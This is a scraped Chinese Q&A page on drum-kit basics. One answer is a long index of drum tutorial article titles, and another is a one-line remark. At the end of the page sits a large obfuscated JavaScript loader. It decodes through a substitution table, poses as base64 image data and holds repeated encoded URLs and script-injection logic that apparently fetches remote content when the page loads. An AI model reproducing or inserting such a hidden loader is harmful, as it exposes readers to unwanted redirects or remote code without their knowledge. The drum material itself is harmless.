架子鼓的基本乐理知识,单跳?双跳?等等一系列的

2024-12-05 16:14:44
推荐回答(2个)
回答1:

[目录]架子鼓教学系列文章目录1

[鼓手教学]爵士鼓的详细资料
[鼓手教学] 针对初级鼓手
[鼓手教学] 浅谈双踩
[鼓手教学] 鼓的调音标准
[鼓手教学] 爵士鼓教学之练习概要
[鼓手教学] 鼓调音的概念
[鼓手教学] 给鼓手的建议
[鼓手教学] 选鼓垫和练过鼓
[鼓手教学] 初级鼓手经验谈
[鼓手教学] 鼓的调音标准
[鼓手教学] 爵士鼓教学之练习概要
[鼓手教学] 鼓的重音与PUNCH
[鼓手教学] 鼓手进步的重要快捷方式
[鼓手教学] 小军鼓的调音
[鼓手教学] 鼓的使用和保养的一些经验建议
[鼓手教学] 爵士鼓升级
[鼓手教学] Tom Tom 鼓对调摆设
[鼓手教学] 现场如何调鼓
[鼓手教学] 鼓棒动作的『四要素』
[鼓手教学] 再谈调鼓
[鼓手教学] 套鼓的保养
[鼓手教学] 鼓手陈慧明谈经验
[鼓手教学] 关于鼓手记忆会退化之经验谈
[鼓手教学] 鼓的基本功的练习
[鼓手教学] 爵士鼓调音深入篇
[鼓手教学] 如何选择军鼓
[鼓手教学]世界著名品牌鼓产地及简介
[鼓手教学]镲片的常识(完整版)
[鼓手教学]鼓的使用和保养一些经验建议
[鼓手教学]鼓 调音
[鼓手教学] 打击乐器种类浅谈
[鼓手教学]谈爵士乐与摇滚或金属中鼓节奏的的区别
[鼓手教学]现在世界上的鼓手速度记录
[鼓手教学]鼓组和打击乐的录制
[鼓手教学]架子鼓的录音技巧
[鼓手教学]鼓手的孤独—与喜欢打鼓的朋友共勉
[鼓手教学]多彩的打击乐音乐会
[鼓手教学]做一个鼓手的感想
[鼓手教学]调鼓的细说
[鼓手教学]鼓友练鼓心得:刘小七练鼓日记
[鼓手教学] 鼓手练习的方法
[鼓手教学] 给鼓手的建议
[鼓手教学] 大鼓皮装配与共鸣
[鼓手教学] 鼓手如何正确对待关于滞留期
[鼓手教学] 打击概要
[鼓手教学] 双手平衡发展的练习
[鼓手教学] 架子鼓双击练习
[鼓手教学] 关于鼓线条的词汇
[鼓手教学] 鼓棒的控制与鼓棒的挥动
[鼓手教学] 单手轮鼓
[鼓手教学] 鼓的即兴Solo
[鼓手教学] 小军鼓的基础技巧
[鼓手教学] 爵士鼓专业术语翻译
[鼓手教学] 鼓手必要训练课题之重音移位
[鼓手教学] 怎样保持鼓的状态
[鼓手教学] 鼓的调音之补充
[鼓手教学] 鼓的tips大全
[鼓手教学] 鼓的调整和装置
[鼓手教学] 如何选购爵士鼓
[鼓手教学] 什麼是轮鼓?什麼是滚奏?
[鼓手教学] 双手的技巧 基本五类手法
[鼓手教学] 鼓手练习的效率
[鼓手教学] 鼓手教程之→底鼓控制篇
[鼓手教学] 鼓刷使用
[鼓手教学] 调鼓的重要
[鼓手教学] 关于标准式与对称式握槌的争论
[鼓手教学] 不要刻意的追求速度
[鼓手教学] 简单的基本功热身练习
[鼓手教学] 打击概要
[鼓手教学] 关于调鼓
[教学资料] “鼓”的再介绍
[鼓手教学] 双手的技巧 基本五类手法
[鼓手教学] 原始打击点
[鼓手教学] 鼓的调整和装置
[鼓手教学] 对初级鼓手的一些建议
[鼓手教学] 双踩练习
[鼓手教学] Peter Erskine 的习鼓心得
[鼓手教学] 鼓皮调鼓SOUND
[鼓手教学] 滚奏技巧解析~要领
[鼓手教学] 鼓的视谱(四)
[鼓手教学] 基本的踩锤脚法
[鼓手教学] 关于一些学鼓问题的精彩问答
[鼓手教学] 简单的基本功热身练习
[鼓手教学] 鼓手初次上台经验
[鼓手教学] 底鼓控制
[鼓手教学] 练好左手的奥秘
鼓手教学] 说说如何开腕
[鼓手教学] 鼓大师Steve Smith谈练习的艺术
[鼓手教学]一些世界著名鼓手谈鼓
[鼓手教学]浅谈单击练习
[鼓手教学]鼓大师们的忠言
[鼓手教学]架子鼓倚音的练习
[鼓手教学]持鼓棒的方法
[鼓手教学]职业鼓手教程----底鼓控制
[鼓手教学]踩锤三连音四连音的练习方法
[鼓手教学]自学与跟学校老师学,有什么不同?
[鼓手教学]音乐治疗之打鼓疗法
[鼓手教学]架子鼓对于儿童的作用
[鼓手教学]架子鼓对于成年人的作用
[鼓手教学] 谈鼓论速度
[鼓手教学] 爵士鼓教学心得
[鼓手教学] 基本方法与介绍
[鼓手教学] 地鼓的练习
[鼓手教学]爵士鼓初学者应该注意的几个方面!
[鼓手教学] 什麼是鼓的单击
[鼓手教学] 浅谈即兴
[鼓手教学] 真的可以自学吗?
[鼓手教学] 练鼓的技巧与条件
[鼓手教学] 关于一些学鼓问题的精彩问答
[鼓手教学] 论爵士鼓的基础训练
[鼓手教学] 鼓组和打击乐的录制
[鼓手教学] 鼓吧专访年轻鼓手的佼佼者:刁磊
[鼓手教学] 中国打击乐器——鼓的简史
[鼓手教学] 台湾鼓王黄瑞丰论关于镲片的保养和清洗
[鼓手教学] 现身说鼓感受篇 之 浅谈“放松”
[鼓手教学] 鼓吧专访著名的Jazz鼓手崔健乐队鼓手贝贝
[鼓手教学] 有关架子鼓的网站
[鼓手教学] 世界著名品牌鼓产地及简介
[鼓手教学] 手提速的教学练习
[鼓手教学] 练习概要
[鼓手教学] 鼓棒动作的『四要素』
[鼓手教学] 打击概要
[鼓手教学] 打击概要
[鼓手教学] 给鼓手的建议
[鼓手教学] 鼓手的耐力素质因素分析及提高
[鼓手教学] 架子鼓单跳该怎么练啊?
[鼓手教学] 爵士鼓跟架子鼓有什么关系?
[鼓手教学] 架子鼓什么品牌价格好?
[鼓手教学] 喇叭花爵士鼓艺精选之世界鼓王
[鼓手教学] 单跳和双跳
[鼓手教学] 架子鼓教程系列--单击练习
[鼓手教学] 架子鼓问题
[鼓手教学] 架子鼓怎么学习?新手
[鼓手教学] 架子鼓的介绍
[鼓手教学] 架子鼓的记谱
[鼓手教学] 架子鼓教材
[鼓手教学] 纯架子鼓的专集
[鼓手教学] 音乐学院社会考级(架子鼓)曲目列表
[鼓手教学] 幼儿音乐打击乐教案
[鼓手教学] 鼓的保养的一点体会
[鼓手教学] 打击乐讲座
[鼓手教学] 鼓的基本功
[鼓手教学] 持槌方法
[鼓手教学] 摇滚鼓演奏教程
[鼓手教学]有经验的鼓手说了些打鼓的经验
[鼓手教学]打鼓基本功
[鼓手教学]给初学者提个醒
[鼓手教学] 基本功的练习(军鼓)
[鼓手教学] 真正而纯正的鼓类敲击乐
[鼓手教学] 鼓棒的持棒方法
[鼓手教学] 架子鼓教程系列--双击练习
[鼓手教学] 踩锤三连音四连音的练习方法
[鼓手教学] 鼓棒的选择与介绍
[鼓手教学] 爵士鼓与于其他大多数乐器的区别
[鼓手教学] 如何选择鼓槌
[鼓手教学] 如何选择适合的铙钹
[鼓手教学] Rudiments 26式练习
[鼓手教学] 小鼓的调音
[鼓手教学] 爵士鼓的基本介绍
[鼓手教学] 给所有初、中级鼓手的建议
[鼓手教学] 鼓的经验之谈
[鼓手教学] 论爵士鼓的基础训练
[鼓手教学] 鼓的使用和保养的一些经验建议
[鼓手教学] 谈谈拍子、速度、节拍器
[鼓手教学] 不要刻意的追求速度
[鼓手教学] 对于中级鼓手的某些建议
[鼓手教学] 老鼓手谈经验
[鼓手教学] 怎样做会成为一个好鼓手
[鼓手教学] 鼓手的耐力素质因素分析及提高
[鼓手教学] 感受震撼的滋味
[鼓手教学] 爵士鼓教学心得
[鼓手教学] 爵士鼓秘籍:“举、击、停、弹、移”
[鼓手教学] 如何调试安装鼓皮
[鼓手教学] 关于鼓的基本功
[鼓手教学] 架子鼓的起源
[鼓手教学] 架子鼓的录音基础
[鼓手教学] 写给鼓手的话
[鼓手教学] 关于技术
[鼓手教学] 爵士鼓的学习
[鼓手教学] 举、击、停、弹、移
[鼓手教学] 小鼓棒的选择
[鼓手教学] REMO鼓皮及调音
[鼓手教学] 滚奏技巧解析
[鼓手教学] 鼓大师Omar Hakim论鼓手和呼吸
[鼓手教学] 鼓大师Peter Erskine习鼓心得
[鼓手教学] 论爵士鼓的基础训练
[鼓手教学] 鼓的使用和保养的一些经验建议
[鼓手教学] 一点打鼓的经验
[鼓手教学] 基本功的练习
[鼓手教学] 论爵士鼓的基础训练
[鼓手教学] 军鼓的调音
[鼓手教学] 为什么要唱拍
[鼓手教学] 关于滚奏和压奏
[鼓手教学] 架子鼓教程系列--单击练习
[鼓手教学] 鼓大师Steve Smith谈练习的艺术
[鼓手教学] 关于小鼓
[鼓手教学] 鼓和鼓乐在黑非洲
[鼓手教学] 艺鸣鼓
[鼓手教学] 爵士鼓教学 练习概要
[鼓手教学] 鼓手手提速的教学练习
[鼓手教学] 架子鼓教程系列--滚奏练习
[鼓手教学] 架子鼓教程系列--装饰音练习
[鼓手教学] “敲敲打打”随想曲浅谈民间打击乐在课堂的魅力
[鼓手教学] 曲种杂谈硬摇滚
[鼓手教学] 爵士鼓综合教程(一)爵士鼓的起源
[鼓手教学] 爵士鼓简介
[鼓手教学] 敲击乐的乐器“爵士鼓”
[鼓手教学] 教你如何练好基础
[鼓手教学]爵士鼓的起源
[鼓手教学]职业鼓手教程----底鼓控制
[鼓手教学]鼓的基本教程
[鼓手教学]架子鼓的起源
[鼓手教学]如何调鼓
[鼓手教学]爵士鼓大师Peter Erskine说练鼓
[鼓手教学]中国年轻女鼓手段丝梨
[鼓手教学] 如何扒带子
[鼓手教学] 多种Grouping
[鼓手教学] 6/8拍的变化

[目录]架子鼓教学系列文章目录2

[鼓手教学] 浅谈双踩技巧
[鼓手教学] 另一种常见的击鼓手法
[鼓手教学] Magic Phrase
[鼓手教学] 鼓棒的选择与介绍鼓棒的选择与介绍
[鼓手教学] 鼓棒的持棒方法
[鼓手教学] 基本功的练习(军鼓)
[鼓手教学] 关于滚奏和压奏
[鼓手教学] 踩锤三连音四连音的练习方法
[鼓手教学] 镲片
[鼓手教学] 谈镲片的除锈、翻新和护理的问题
[鼓手教学] 新手常见问题:我该买什么鼓?
[鼓手教学] 给所有初、中级鼓手的建议
[鼓手教学] 介绍一招我的练鼓方法---双踩篇
[鼓手教学] 架子鼓的组成
[鼓手教学] 爵士鼓的调音
[鼓手教学] 爵士鼓的设置
[鼓手教学] 演奏基本方法
[鼓手教学] 鼓的使用和保养一些经验建议
[鼓手教学] Groove
[鼓手教学] 架子鼓的录音技巧
[鼓手教学] 爵士鼓的学习方法
[鼓手教学]新手常见问题:我该买什么鼓?
[鼓手教学] 香港最出色的鼓手——恭硕良
[鼓手教学] 安装架子鼓的细节
[鼓手教学] 爵士鼓简介
[鼓手教学] 什么是轮鼓?什么是滚奏?
[鼓手教学] 鼓的即兴Solo
[鼓手教学] December
[鼓手教学] Alice in Chains - Heaven Beside You
[鼓手教学] DOWN 鼓谱
[鼓手教学] Beautiful Disaster 鼓谱
[鼓手教学] 如何选购爵士鼓
[鼓手教学] 拍子,速度和节拍器
[鼓手教学] 鼓手经验谈之 Virgil Donati
[鼓手教学] 鼓手经验谈之 Gregg Bissonette
[鼓手教学] 鼓手经验谈之 David Garibaldi
[鼓手教学] 鼓手经验谈之 Simon Phillips
[鼓手教学] 鼓手经验谈之 神保彰 Akira Jimbo
[鼓手教学] 鼓手经验谈之 Thomasl Lang
[鼓手教学] 鼓手经验谈之 Bill Bruford
[鼓手教学] 鼓手经验谈之 DAVE WECKL
[鼓手教学] 鼓的踏板(PEDAL)"大鼓的代言人"
[鼓手教学] 鼓手经验谈之 Terry Bozzio
[鼓手教学] 鼓手经验谈之 Peter Erskine
[鼓手教学] 爵士鼓的精髓在于鼓性而不是技巧
[鼓手教学] 手脚配合练习
[鼓手教学] 基础复合节奏2对3,4对3的练习方法
[鼓手教学] 练好左手的奥秘
[鼓手教学] 简单的基本功热身练习
[鼓手教学] DW代言Rick Latham 告诉你一些提高练习
[鼓手教学] 基础复合节奏2对3,4对3的练习方法
[鼓手教学] Mark Wessels给你的关于练习单手滚奏的建议
[鼓手教学] 复合跳的组合练习
[鼓手教学] 上鼓前的合理的手脚配合练习
[鼓手教学] 地鼓的练习
[鼓手教学] 双手平衡发展的练习
[鼓手教学] 双手分离与协调的练习
[鼓手教学] 浅谈小军鼓滚奏技巧的学习与掌握
[鼓手教学] 双踩练习
[鼓手教学] 怎么打好双击
[鼓手教学] 初级鼓手经验谈
[鼓手教学] 个人经验谈
[鼓手教学] 练习鼓的技巧与条件
[鼓手教学] 关于军鼓的声音
[鼓手教学] 小鼓的技巧
[鼓手教学] 鼓槌的标准式与对称式握槌
[鼓手教学] 练鼓不要刻意的追求速度
[鼓手教学] 谈鼓房的装修问题
[鼓手教学] 鼓手如何正确对待关于滞留期
[鼓手教学] 与所有鼓手朋友共勉
[鼓手教学] 鼓的基本讨论
[鼓手教学] Omar Hakim 谈鼓手的呼吸
[鼓手教学] 一点打鼓的经验
[鼓手教学] 鼓大师的超级经验
[鼓手教学] 调鼓 1
[教学资料] “鼓”的再介绍
[鼓手教学] MULTIPLE BOUNCE ROLL鼓槌多点弹跳滚奏
[教学资料] 国际标准小军鼓基本功(复合跳)
[教学资料] djembe 的基本演奏手法(手鼓)
[鼓手教学] TOMTOM鼓的基本摆设与使用
[鼓手教学] 鼓练习中的一些手法的说明
[教学资料] 四十路PAS鼓棍法的由来
[教学资料] 鼓的四肢协调练习 Four-Way Coordination
[鼓手教学] 爵士鼓再介绍
[鼓手教学] 关于鼓手的重音与移动
[鼓手教学] 关于一些学鼓问题的精彩问答
[鼓手教学] 关于调鼓的细说
[资源在线] 在线乐手专用电子节拍器
[资源在线] 在线乐手专用电子节拍器及效音器
[鼓手教学] 爵士鼓双击练习
[鼓手教学] 爵士鼓练习中的一些手法说明
[鼓手教学] 关于调鼓的几个小问题
[鼓手教学] 调鼓的重要性

[目录]架子鼓教学系列文章目录3

[鼓手教学] 鼓手耳机的使用
[鼓手教学] 鼓手的速度
[鼓手教学] 鼓的滚奏技巧
[教学资料] 26种基本手法打点(1~8)鼓谱
[教学资料] 双大鼓练习谱04
[教学资料] 双大鼓练习谱03
[教学资料] 双大鼓练习谱02
[教学资料] 双大鼓练习谱01
[鼓手教学] 鼓的即兴Solo
[教学资料] 小鼓练习谱05
[教学资料] 小鼓练习谱04
[教学资料] 小鼓练习谱03
[教学资料] 小鼓练习谱02
[教学资料] 小鼓练习谱01
[鼓手教学] 鼓手关於R.r-L.l手记法
[教学资料] Basic Samba 基础森巴 练习谱 02
[教学资料] Basic Samba 基础森巴 练习谱 01
[教学资料] Basic Drum Set 基础套鼓 练习谱 02
[教学资料] Basic Drum Set 基础套鼓 练习谱 01
[鼓手教学] 关于鼓手耳朵的保护
[鼓手教学] 鼓手基本功练习
[鼓手教学] 鼓手唱拍练习
[鼓手教学] 大鼓的踩法
[鼓手教学] 鼓手基本功的练习
[鼓手教学] 鼓手练习的方法
[鼓手教学] 鼓手练习的效率
[教学资料] 鼓谱的认识
[鼓手教学] 拉丁音乐名词
[音乐概念] 爵士乐
[音乐概念] Doom 毁灭金属
[鼓手教学] 非洲乐器鼓
[鼓手教学] 论爵士鼓的基础训练
[鼓手教学] 如何给爵士鼓调音
[鼓手教学] 爵士鼓概述
[鼓手教学] 关于打鼓时戴耳机或耳塞监听
[鼓手教学] 鼓的调整和装置
[鼓手教学] 教初学的朋友如何调鼓
[鼓手教学] 鼓大师Peter Erskine的习鼓心得
[鼓手教学] 选择一附适合自己的鼓槌
[鼓手教学] 鼓4级的考级内容
[鼓手教学] 针对初级鼓手
[鼓手教学] 不要刻意的追求速度
[鼓手教学] 对初级鼓手的一些建议
[教学资料] 44拍基本节奏演变
[鼓手教学] 一个手指的问题
[鼓手教学] 学打爵士鼓之基本功
[鼓手教学] 双击练习浅谈 Double Stroke
[鼓手教学] 基本的踩锤脚法
[教学资料] 基础套鼓练习谱
[鼓手教学] 关于标准式与对称式握槌的争论
[鼓手教学] 鼓棒演奏技巧
[教学资料] 17种基本打点手法
[资料信息] Drummers Collective 25th Anniversary Celebration & Bass Day 2002
[资料信息] Steve Smith Drumset Technique and History of the US Beat
[鼓手教学] 双手平衡发展的练习
[鼓手教学] 装饰音练习
[鼓手教学] 爵士鼓调音讲座
[鼓手教学] 调鼓的重要性
[鼓手教学] 完美的鼓练习
[鼓手教学] 关于鼓刷演奏中扫的技术
[鼓手教学] 如何选择鼓槌
[鼓手教学] 如何给爵士鼓调音
[鼓手教学]鼓手听感的训练
[鼓手教学]练习滚奏可能遇到的状况
[鼓手教学]爵士鼓调音深入篇
[鼓手教学]爵士鼓调音基础篇
[鼓手教学] 鼓手练习的效率
[鼓手教学]双手的技巧 基本五类手法
[鼓手教学]鼓手学习的技巧与条件
[鼓手教学]怎样看鼓谱
[鼓手教学]充分利用四肢最平衡的打鼓之---镲片的位置
[鼓手教学]充分利用四肢最平衡的打鼓之---嗵鼓的位置
[鼓手教学]充分利用四肢最平衡的打鼓之---BASS鼓和踩镲
[鼓手教学]充分利用四肢最平衡的打鼓之---军鼓的摆放
[鼓手教学]充分利用四肢最平衡的打鼓之---坐姿
[鼓手教学]充分利用四肢最平衡的打鼓之---鼓的摆放
[鼓手教学]什么是Single Stroke(单击)
[鼓手教学]什么是魔鬼音符
[鼓手教学]爵士鼓专业术语
[鼓手教学]黄瑞丰老师谈打击概要
[鼓手教学]爵士鼓基础首部曲
[鼓手教学]鼓之自然律动【看、唱、打、听、写】打击系统
[鼓手教学]鼓手为什么要学视谱 三
[鼓手教学]鼓手为什么要学视谱 二
[鼓手教学]鼓手为什么要学视谱 一
[鼓手教学]关于鼓棒一起来认识鼓棒
[鼓手教学]打击乐的基本概念
[鼓手教学]鼓的使用和保养的一些经验建议(译)
[鼓手教学]在练习中的其他重要领域
[鼓手教学]关于单手滚奏
[鼓手教学] 拍子,速度和节拍器
[鼓手教学]丁麟给喜欢"打鼓"的朋友们,一点习鼓建议
[鼓手教学]鼓手如何避免在练习及演奏中受伤
[鼓手教学]2005MIPA大奖最佳鼓设备获奖者和提名
[鼓手教学]2006法兰克福展会Roland发布电鼓新品
[鼓手教学]世界著名手工镲ISTANBUL(伊斯坦布)
[鼓手设备]MENINLD新推出的一款失真Splash镲片
[鼓手教学]爵士鼓专业术语翻译
[鼓手教学]白领年轻人为什么学打击乐好
[鼓手教学]音乐疗法介绍
[鼓手教学]为什么打鼓是首选的音乐疗法
[鼓手教学]音乐治疗之打鼓疗法
[鼓手教学]鼓手听感的训练
[鼓手教学]架子鼓简介
[鼓手设备]Peace新推出 DP-2016 Celebrity鼓组
[鼓手设备]Peace Musical 公司推出Rainbow系列套鼓
[鼓手设备]Ludwig推出行军打击乐器系列
[鼓手设备]Mapex最新套鼓Saturn Special Edition
[鼓手教学]Yamaha 收购 Rogers 鼓公司
[鼓手设备]Ritter发布改进的可调式 RitterClassic鼓和打击包
[鼓手设备]Ludwig 发布The Chief专业军鼓
[鼓谱分享]green day《boulevard of broken dreams》的鼓谱

[目录]鼓大师系列文章

[鼓手教学]珍珠公司对其代言人Grant Collins的访谈
[鼓手教学]DW对其代言人Marco Minnemann的访谈
[鼓手教学]Steve Smith告诉你如何正确选择正确的爵士音乐设备
[鼓手教学]2003年Pat Torpey香港演示会访谈
[鼓手教学]分享大师的超级经验之Gregg Bissonette
[鼓手教学]分享大师的超级经验之Virgil Donati
[鼓手教学]分享大师的超级经验之David Garibaldi
[鼓手教学]我为鼓疯狂《现代乐手》virgil Donati访谈
[鼓手教学]分享大师的超级经验之Simon Phillips
[鼓手教学]分享大师的超级经验之神保彰
[鼓手教学]分享大师的超级经验之Thomasl Lang
[鼓手教学]分享大师的超级经验之Bill Bruford
[鼓手教学]鼓大师们的经验谈
[鼓手教学]鼓大师Omar Hakim论鼓手和呼吸
[鼓手教学]分享大师的超级经验之 DAVE WECKL
[鼓手教学]鼓的踏板(PEDAL)演奏-台湾.黄瑞丰
[鼓手教学]分享大师的超级经验之 Terry Bozzio
[鼓手教学]鼓大师Peter Erskine告诉你练习鼓的经验
[鼓手介绍]邵哈哈
[鼓手介绍]关菲
[鼓手介绍]褚伟明
[鼓手介绍]刁磊
[鼓手介绍]郑朝晖
[鼓手介绍]赵年
[鼓手介绍]贝贝
[鼓手介绍]王澜
[鼓手介绍]Damian Corniola
[鼓手介绍]Gregg Bissonette
[鼓手介绍]Tommy Lee 代言Meinl打击乐器
[鼓手介绍]世界著名的鼓演奏家和鼓教育家Dom Famularo
[鼓手介绍]大先生乐队鼓手Pat Torpey
[鼓手介绍]Mike Portnoy – “Prime Cuts”
[鼓手介绍]Pr0一Mark鼓棒最新代言人
[鼓手介绍]Horacio "El Negro" Hernandez介绍
[鼓手接触]鼓手Funky谈《疯狂的石头》

[目录]鼓手教学四十课

[鼓手教学]架子鼓网络学习(理论篇一)
[鼓手教学]架子鼓网络教学(理论篇二)
[鼓手教学]架子鼓网络教学(理论篇三)
[教学资料] 现代爵士鼓教程(鼓的说明及认识)
[教学资料] 鼓手教学四十课(一)
[教学资料] 鼓手教学四十课(二)
[教学资料] 鼓手教学四十课(三)
[教学资料] 鼓手教学四十课(四)
[教学资料] 鼓手教学四十课(五)
[教学资料] 鼓手教学四十课(六)
[教学资料] 鼓手教学四十课(七)
[教学资料] 鼓手教学四十课(八)
[教学资料] 鼓手教学四十课(九)
[教学资料] 鼓手教学四十课(十)
[教学资料] 鼓手教学四十课(十一)
[教学资料] 鼓手教学四十课(十二)
[教学资料] 鼓手教学四十课(十三)
[教学资料] 鼓手教学四十课(十四)
[教学资料] 鼓手教学四十课(十五)
[教学资料] 鼓手教学四十课(十六)
[教学资料] 鼓手教学四十课(十七)
[教学资料] 鼓手教学四十课(十八)
[教学资料] 鼓手教学四十课(十九)
[教学资料] 鼓手教学四十课(二十)
[教学资料] 鼓手教学四十课(二十一)
[教学资料] 鼓手教学四十课(二十二)
[教学资料] 鼓手教学四十课(二十三)
[教学资料] 鼓手教学四十课(二十四)
[教学资料] 鼓手教学四十课(二十五)
[教学资料] 鼓手教学四十课(二十六)
[教学资料] 鼓手教学四十课(二十七)
[教学资料] 鼓手教学四十课(二十八)
[教学资料] 鼓手教学四十课(二十九)
[教学资料] 鼓手教学四十课(三十)
[教学资料] 鼓手教学四十课(三十一)
[教学资料] 鼓手教学四十课(三十二)
[教学资料] 鼓手教学四十课(三十三)

[教学资料] 鼓手教学四十课(三十四)
[教学资料] 鼓手教学四十课(三十五)
[教学资料] 鼓手教学四十课(三十六)
[教学资料] 鼓手教学四十课(三十七)
[教学资料] 鼓手教学四十课(三十八)
[教学资料] 鼓手教学四十课(三十九)
[教学资料] 鼓手教学四十课(四十)

回答2:

就选 周大师 的吧,有他在,啥也别说了,眼泪哗哗的。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP 